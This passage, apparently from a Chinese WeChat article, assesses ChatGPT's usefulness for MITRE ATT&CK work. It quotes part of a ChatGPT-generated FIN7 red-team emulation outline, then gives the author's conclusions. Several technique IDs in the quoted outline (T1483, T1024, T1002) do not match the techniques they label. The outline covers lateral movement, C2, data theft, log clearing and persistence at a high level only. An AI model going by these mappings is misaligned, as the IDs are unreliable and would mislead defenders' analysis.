  4. 垂直移動(T1483):利用已經獲得的通路權限,向其他系統和網絡進行攻擊,擷取更多的資訊和敏感資料。
  5. 操作指令和控制通信(T1024):使用C2伺服器對被入侵系統進行遠端控制和管理,執行指令并操縱受害者計算機。
  6. 資料竊取(T1002):在目标系統中竊取敏感資訊并将其上傳到指定的伺服器上。
  7. 作業系統指令(T1059):使用Fin7組織常用的作業系統指令來執行攻擊,如net、cmd、powershell等。
  8. 隐藏攻擊痕迹(T1070):利用Fin7組織常用的技術,如清除日志和使用系統資料庫隐藏惡意軟體的存在,使攻擊活動難以被發現和追蹤。
  9. 持久化(T1547):使用Fin7組織常用的技術,如建立計劃任務和服務,将惡意軟體在目标系統中持久化存在。
  10. 報告和總結:在模拟攻擊演習結束後,總結攻擊過程、攻擊結果和攻擊效果,并撰寫一份詳細的報告。這份報告可以用于評估安全措施的有效性、發現潛在的安全漏洞,并為未來的安全計劃提供參考。
需要注意的是,在進行模拟攻擊演習時,一定要遵守法律法規,不得對真實系統和資料進行攻擊,以免對真實環境造成不必要的損失和風險。

雖然也是套話多,不過也沒什麼大問題。

ChatGPT在MITREATT&CK落地過程中的應用能力

結論:

  1. ChatGPT由于使用的學習資料到2021年,是以存在一定的局限性。如ATT&CK ID的更新;
  2. 雖然ChatGPT不是專業的ATT&CK工具,但是在很多場景可以替代ATT&CK的專業工具,并且效果還不差。如針對一段文字中的ATT&CK的提取;
  3. 可以把ChatGPT內建到SOC/SIEM等平台裡,在某些場景輔助營運人員進行安全營運,如對ATT&CK技術點的解釋和翻譯,日志和報告中提取ATT&CK;生成自己的威脅情報;簡單規則的提取等。
  4. 看似豐富的ATT&CK回答中,其實還存在很多錯誤。是以利用的時候,需要仔細甄别。

from https://mp.weixin.qq.com/s/hehFQbR6lqAABEDhrxtIBg